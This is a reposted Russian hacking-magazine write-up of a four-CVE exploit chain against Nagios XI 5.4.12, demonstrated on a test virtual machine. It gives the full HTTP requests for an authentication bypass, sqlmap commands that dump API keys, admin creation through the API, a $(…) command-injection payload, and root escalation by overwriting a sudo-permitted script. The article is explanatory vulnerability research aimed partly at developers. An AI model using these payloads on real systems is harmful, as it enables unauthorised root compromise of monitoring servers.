JustPaste.it
User avatar
@anonymous · Sep 18, 2018

Хакер - Нагнуть Nagios. Разбираем хитрую цепочку уязвимостей в популярной системе мониторинга

https://t.me/hacker_frei

Nagios — это одно из популярнейших решений для мониторинга, которое используется во многих крупных компаниях. Обнаруженные в нем уязвимости приводят к полной компрометации системы и выполнению произвольного кода с правами суперпользователя, а для их эксплуатации не нужно обладать никакими привилегиями. Давай разберемся, какие ошибки допустили разработчики и как этим можно воспользоваться.

Nagios решает довольно типичный для своего класса программ набор задач: контроль состояния компьютерных систем и сетей, наблюдение за выполняющимися службами и демонами и тому подобные задачи. Также в Nagios входит расширенная система оповещения админа об изменениях в функционировании системы, например когда какие-то из компонентов прекращают свою работу.

Проблемы были обнаружены исследователями Redacted Security и затрагивают все версии продукта вплоть до Nagios XI версии 5.4.12.

 

 

Приготовления

Для демонстрации уязвимости я подниму тестовое окружение. Nagios XI можно вполне легально скачать с официального сайта абсолютно бесплатно. После установки он спокойно проработает в пробном режиме в течение 60 дней. Нам этого вполне достаточно.

Решение поставляется в нескольких вариантах: в виде пакета для дистрибутивов Linux, в виде образа VHD для Windows с поддержкой аппаратной виртуализации на основе гипервизора (Hyper-V) и в формате OVF (Open Virtualization Format), который поддерживается всеми приличными приложениями для виртуализации. Мне удобнее использовать именно последний вариант.

Все манипуляции я буду проводить на последней уязвимой версии системы — 5.4.12, поэтому сначала скачаем ее образ. После этого нужно развернуть его на виртуальной машине. Для этой цели подойдут как коммерческие продукты VMware, так и бесплатные решения типа VirtualBox или того же VMware Player.

Импорт образа Nagios XI 5.4.12 в VMware Workstation Импорт образа Nagios XI 5.4.12 в VMware Workstation

Когда импорт завершится, запустим новоиспеченную виртуалку, после непродолжительной загрузки видим приглашение авторизации в систему, IP-адрес машины и пароль рута. По дефолту это nagiosxi.

Экран приветствия виртуалки Nagios XI Экран приветствия виртуалки Nagios XI

Теперь, как и советует система, нужно перейти в браузере по указанному IP-адресу и выполнить начальную настройку.

Установка Nagios XI через веб-интерфейс Установка Nagios XI через веб-интерфейс

После нажатия на кнопку Install система будет готова к экспериментам.

 

Начало пути. Обход авторизации. CVE-2018-8733

В состав Nagios входит NagiosQL — это веб-интерфейс для конфигурирования системы. По дефолту он располагается по адресу /nagiosql/. Авторизоваться можно, используя ту же связку логин-пароль, которую мы указывали на этапе начальной настройки.

Веб-интерфейс NagiosQL Веб-интерфейс NagiosQL

В разделе Administration есть подраздел Settings, где можно настроить сам NagiosQL. Среди переменных здесь есть раздел Database, в котором находятся параметры подключения к базе данных.

Конфигурация параметров подключения к базе данных Конфигурация параметров подключения к базе данных

Они записываются в конфигурационный файл settings.php. По умолчанию он выглядит примерно так.

/var/www/html/nagiosql/config/settings.php

01: ... 20: [db] 21: server = localhost 22: port = 3306 23: database = nagiosql 24: username = nagiosql 25: password = n@gweb 26: [common] 27: install = passed

Разумеется, все перечисленные возможности доступны только для авторизованного админа. Или нет? Заглянем в исходник скрипта, который отвечает за изменения конфига, а именно в его начало.

/var/www/html/nagiosql/admin/settings.php

23: $intMain = 7; 24: $intSub = 29; 25: $intMenu = 2; 26: $preContent = "admin/settings.tpl.htm"; 27: $strMessage = ""; 28: $intError = 0; 29: // 30: // Include requirements 31: // ====================== 32: $preAccess = 1; 33: $preFieldvars = 1; 34: // Import basic function 35: require("../functions/prepend_adm.php"); 36: // Import translation function 37: require("../functions/translator.php");

На 35-й строке подгружается файл prepend_adm.php, который в том числе выполняет ряд проверок авторизации.

/var/www/html/nagiosql/functions/prepend_adm.php

164: if (($_SESSION['username'] != "") && (!isset($preNoLogCheck) || ($preNoLogCheck == 0))) { ... 182: if ($intResult != 0) { 183: $myDataClass->writeLog(_('Restricted site accessed:')." ".$_SERVER['PHP_SELF']); 184: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."admin/errorsite.php"); // todo check 185: } ... 190: } else { 191: // Neues Login erzwingen 192: $myDataClass->writeLog(_('User not found in database')); 193: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."index.php"); ... 195: } else if (!isset($preNoLogin)) { 196: // Neues Login erzwingen 197: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."index.php");

Чего-то не хватает, не правда ли? А именно завершения работы скрипта после редиректа. Благодаря такой неосторожности разработчиков выполнение кода продолжится, даже если пользователь не авторизован, и мы можем вносить изменения в конфигурационный файл.

/var/www/html/nagiosql/admin/settings.php

043: $selLanguage = isset($_POST['selLanguage']) ? $_POST['selLanguage'] : $SETS['data']['locale']; ... 045: $txtDBserver = isset($_POST['txtDBserver']) ? $_POST['txtDBserver'] : $SETS['db']['server']; 046: $txtDBport = isset($_POST['txtDBport']) ? $_POST['txtDBport'] : $SETS['db']['port']; 047: $txtDBname = isset($_POST['txtDBname']) ? $_POST['txtDBname'] : $SETS['db']['database']; 048: $txtDBuser = isset($_POST['txtDBuser']) ? $_POST['txtDBuser'] : $SETS['db']['username']; 049: $txtDBpass = isset($_POST['txtDBpass']) ? $_POST['txtDBpass'] : $SETS['db']['password']; ... 063: if ( (isset($_POST)) AND (isset($_POST['selLanguage']))) { ... 085: $filSet = fopen($txtBasePath."config/settings.php","w"); 086: if ($filSet) { 087: fwrite($filSet,"\n"); ... 107: fwrite($filSet,"server = ".$txtDBserver."\n"); 108: fwrite($filSet,"port = ".$txtDBport."\n"); 109: fwrite($filSet,"database = ".$txtDBname."\n"); 110: fwrite($filSet,"username = ".$txtDBuser."\n"); 111: fwrite($filSet,"password = ".$txtDBpass."\n"); ... 114: fclose($filSet);

Все, что требуется, — это передать локаль и нужные переменные в соответствующих параметрах POST-запроса. Он будет выглядеть следующим образом:

POST /nagiosql/admin/settings.php HTTP/1.1 Host: nagios.vh Content-Type: application/x-www-form-urlencoded Connection: close selLanguage=en_GB&txtDBserver=localhost&txtDBuser=nagiosql&txtDBpass=n@gweb

Обход авторизации и редактирование конфига NagiosQL Обход авторизации и редактирование конфига NagiosQL

Хоть сервер и вернул код 302, но скрипт продолжил свое выполнение и перезаписал конфиг.

Тут уже открывается некий простор для творчества. Можно указать в качестве адреса базы данных свой сервак с Rogue MySQL Server и получить читалку файлов. Также изменение некоторых параметров дает возможность вызвать отказ в обслуживании. Но это не особенно интересно. Гораздо полезнее поменять юзера, под которым происходит соединение с базой данных. Это поможет нам продвинуться к нашей цели — полной компрометации системы. Благо по умолчанию пароль пользователя root устанавливается в nagiosxi не только для входа в систему, но и для авторизации в БД.

POST /nagiosql/admin/settings.php HTTP/1.1 Host: nagios.vh Content-Type: application/x-www-form-urlencoded Connection: close selLanguage=en_GB&txtDBserver=localhost&txtDBuser=root&txtDBpass=nagiosxi

Изменение параметров подключения к БД в Nagios через уязвимость CVE-2018-8733 Изменение параметров подключения к БД в Nagios через уязвимость CVE-2018-8733
 

Добываем API-ключи через SQL-инъекцию. CVE-2018-8734

Теперь заглянем еще в один раздел веб-морды NagiosQL, он называется Help editor.

Раздел админки NagiosQL для редактирования описания ключей Раздел админки NagiosQL для редактирования описания ключей

Здесь можно редактировать описания различных ключей. Заглянем в сорцы.

/var/www/html/nagiosql/admin/helpedit.php

36: require("../functions/prepend_adm.php");

Наблюдаем ту же проблему с обходом авторизации. Сразу скажу, что она распространяется почти на все скрипты админки. Дальше следуют любопытные участки кода.

040: $chkKey1 = isset($_POST['selInfoKey1']) ? $_POST['selInfoKey1'] : ""; 041: $chkKey2 = isset($_POST['selInfoKey2']) ? $_POST['selInfoKey2'] : ""; 042: $chkVersion = isset($_POST['selInfoVersion']) ? $_POST['selInfoVersion'] : ""; 043: $chkDefault = isset($_POST['chbDefault']) ? $_POST['chbDefault'] : "0"; 044: $chkHidKey1 = isset($_POST['hidKey1']) ? $_POST['hidKey1'] : ""; 045: $chkHidKey2 = isset($_POST['hidKey2']) ? $_POST['hidKey2'] : ""; 046: $chkHidVersion = isset($_POST['hidVersion']) ? $_POST['hidVersion'] : "all"; 047: $chkModus = isset($_POST['modus']) ? $_POST['modus'] : "0"; ... 055: if (($chkContent != "") && ($chkModus == "1")) { 056: $strSQL = "SELECT `infotext` FROM `tbl_info` 057: WHERE `key1` = '$chkHidKey1' AND `key2` = '$chkHidKey2' AND `version` = '$chkHidVersion' 058: AND `language` = '$setSaveLangId'"; 059: $booReturn = $myDBClass->getDataArray($strSQL,$arrData,$intDataCount); 060: if ($intDataCount == 0) { 061: $strSQL = "INSERT INTO `tbl_info` (`key1`,`key2`,`version`,`language`,`infotext`) 062: VALUES ('$chkHidKey1','$chkHidKey2','$chkHidVersion','$setSaveLangId','$chkContent')"; 063: } else { 064: $strSQL = "UPDATE `tbl_info` SET `infotext` = '$chkContent' 065: WHERE `key1` = '$chkHidKey1' AND `key2` = '$chkHidKey2' AND `version` = '$chkHidVersion' 066: AND `language` = '$setSaveLangId'"; 067: } 068: $intInsert = $myDataClass->dataInsert($strSQL,$intInsertId); 069: } ... 109: if ($chkKey1 != "") { 110: $strSQL = "SELECT DISTINCT `key2` FROM `tbl_info` WHERE `key1` = '$chkKey1' ORDER BY `key1`"; ... 123: if (($chkKey1 != "") && ($chkKey2 != "")) { 124: $strSQL = "SELECT DISTINCT `version` FROM `tbl_info` WHERE `key1` = '$chkKey1' AND `key2` = '$chkKey2' ORDER BY `version`";

Здесь самая банальная error based SQL-инъекция. Непонятно, на что надеялись разработчики, не посчитав это багом. Видимо, «скуля» в админке багом не считается! Довольно распространенное и ошибочное мнение, которого придерживаются разработчики и вендоры по всему миру.

Так как пользователь, через которого мы подключаемся к БД, теперь root, то мы имеем полный доступ ко всем таблицам, что есть на сервере. Самое время раскрутить уязвимость и посмотреть, что интересного хранится в таблицах. Для этих целей можно привлечь всем известный sqlmap. Используем параметр selInfoKey1 для более простой эксплуатации инъекции.

python sqlmap.py -u http://nagios.vh/nagiosql/admin/helpedit.php --data="selInfoKey1=1" -p selInfoKey1 --dbs --tables --exclude-sys

Раскручиваем SQL-инъекцию в Nagios через sqlmap Раскручиваем SQL-инъекцию в Nagios через sqlmap

Сразу скажу, что самое интересное для нас находится в таблице xi_users из базы nagiosxi.

python sqlmap.py -u http://nagios.vh/nagiosql/admin/helpedit.php --data="selInfoKey1=1" -p selInfoKey1 -D nagiosxi -T xi_users -C username,password,api_enabled,api_key --dump

Получение интересных данных из БД через SQL-инъекцию Получение интересных данных из БД через SQL-инъекцию

По дефолту у администратора включен доступ через API, а ключ генерируется на этапе начальной конфигурации и любезно записывается в таблицу.

/usr/local/nagiosxi/html/install.php

152: function do_install() 153: { ... 207: change_user_attr($uid, "api_key", random_string(64));

Помимо этого, пароли хранятся в обычном MD5. Однако при установке генерируется довольно длинный пароль, и расшифровка займет слишком много времени. Конечно, если пароль на этапе установки задан вручную, то можно попробовать.

usr/local/nagiosxi/html/install.php

046: $admin_password = random_string(20, "$#@!.,%^&"); ... 205: change_user_attr($uid, "password", md5($admin_password)); ... 213: nagiosql_update_user_password("nagiosadmin", $admin_password);

 

Балуемся с API

Посмотрим, какими же методами располагает REST API Nagios XI. Все они описаны во встроенном разделе справки. Наиболее интересна возможность создания пользователя через эндпоинт system/user.

Метод API для создания пользователей в Nagios XI Метод API для создания пользователей в Nagios XI

Для этого нужно лишь отправить POST-запрос с данными нового юзера и ключ API, который мы раздобыли на предыдущем шаге.

POST /nagiosxi/api/v1/system/user?apikey=ietf9a45YnLEClWJVoKEBnGlhcm47IeJc0Xla0JoIK2g6ef0GYUtFARcLdA9bNRH&pretty=1 HTTP/1.1 Host: nagios.vh Content-Type: application/x-www-form-urlencoded Connection: close username=attacker&password=4ySlGxzVhI&name=Larry Flynt&email=lf@localhost&auth_level=admin&force_pw_change=0

Создание админа через REST API Nagios Создание админа через REST API Nagios

Здесь самый важный параметр — это auth_level. Если мы передадим в нем admin, то это означает, что новоиспеченный пользователь будет админом. Что нам и нужно.

Разумеется, это никакая не уязвимость, а просто стандартные возможности встроенного REST API, но такие штуки частенько помогают продвигаться внутрь периметра.

 

Удаленное выполнение команд через админа. CVE-2018-8735

Теперь можно свободно авторизовываться как администратор с заданными логином и паролем и осматривать содержимое панели управления.

Здесь все очень удобно с точки зрения возможных атак, так как в скриптах бэкенда есть возможность выполнения команд.

/usr/local/nagiosxi/html/backend/index.php

32: route_request(); ... 34: function route_request() 35: { ... 49: // Handle the command 50: switch ($cmd) { ... 78: // Command subsystem 79: case "submitcommand": 80: backend_submit_command();

Но только определенных команд, которые разрешены к выполнению. Для этого в качестве аргумента command к функции submit_command передается числовой ID команды, а в command_data — ее параметры.

/usr/local/nagiosxi/html/backend/includes/handler-commands.inc.php

15: function backend_submit_command() 16: { ... 22: // Grab the command to run... 23: if (($command = grab_request_var("command", "")) == "") { 24: handle_backend_error("You must enter a command (and command data if required) to run a command."); 25: } 26: $command_data = grab_request_var("command_data", ""); 27: $event_time = grab_request_var("event_time", "0"); 28: 29: // Run the command through the backend (don't wait for it to return) 30: $command_id = submit_command($command, $command_data, $event_time, 0);

По крайней мере так было задумано разработчиками, но если в command_data передать конструкцию вида $(cmd), то cmd будет выполнена.

POST /nagiosxi/backend/index.php HTTP/1.1 Host: nagios.vh Content-Type: application/x-www-form-urlencoded Cookie: nagiosxi=td9uet8udcotgm3c7s0604qbv7 Connection: close cmd=submitcommand&command=1111&command_data=$(touch /tmp/executed)

Удаленное выполнение команд в Nagios XI Удаленное выполнение команд в Nagios XI

К сожалению, результат выполнения команды сервер не возвращает. Это было бы совсем здорово. 🙂

 

Из грязи в князи. Повышаем привилегии до root. CVE-2018-8735

Все команды, что мы отправляем через админа, выполняются с теми привилегиями, с которыми запущен веб-сервер, а именно от пользователя nagios. Это, конечно, круто, но не совсем. Нужно повышать свои привилегии, и в этом нам поможет sudo. Заглянем в файл с правилами предоставления доступа root. Интересные строчки притаились в самом его конце.

Файл конфигурации /etc/sudoers в Nagios XI Файл конфигурации /etc/sudoers в Nagios XI

Скрипты change_timeone.sh, manage_services.sh, upgrade_to_latest.sh, reset_config_perms.sh и другие доступны для выполнения через sudo без запроса пароля. Теперь посмотрим в директорию скриптов.

Листинг директории со скриптами Nagios XI Листинг директории со скриптами Nagios XI

Как видишь, все скрипты принадлежат нашему пользователю nagios. Поэтому мы можем свободно менять содержимое этих файлов, а это значит, что мы сможем выполнять произвольные команды от имени суперпользователя. Возьмем на вооружение любой скрипт, который указан в /etc/sudoers. Наш запрос примет, например, такой вид:

POST /nagiosxi/backend/index.php HTTP/1.1 Host: nagios.vh Content-Type: application/x-www-form-urlencoded Cookie: nagiosxi=td9uet8udcotgm3c7s0604qbv7 Connection: close cmd=submitcommand&command=1111&command_data=$(cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /tmp/rcp.bak && echo "touch /tmp/execroot" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /tmp/rcp.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh)

Выполнение произвольных команд от root с помощью sudo Выполнение произвольных команд от root с помощью sudo

Только не забывай про URL Encoding. Теперь можно свободно выполнять команды от рута!

Для автоматизации всех этих рутинных действий, конечно же, существует несколько готовых эксплоитов. Рекомендую вариант Джареда Арейва. В нем нужно указать хост, где установлен Nagios, и связку между IP и портом, если хочешь получить бэкконнект. С помощью ключа -c можно определить, какую команду требуется выполнить на целевой системе.

Результат работы эксплоита для Nagios XI Результат работы эксплоита для Nagios XI
 
 

Выводы

Мы рассмотрели целых четыре уязвимости в Nagios, которые получили идентификаторы CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736. Использование этих багов одного за другим дает нам права суперпользователя на целевой системе.

Вот так, казалось бы, простые уязвимости могут создавать серьезные проблемы для всей инфраструктуры в целом. Особенно стоит отметить, насколько разработчики лояльно относятся к действиям администратора, никак не ограничивают и не фильтруют данные, которые тот присылает. Такая политика нередко приводит к показанным в статье печальным последствиям. Если ты занимаешься разработкой, то, надеюсь, это убедит тебя не повторять такие ошибки.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei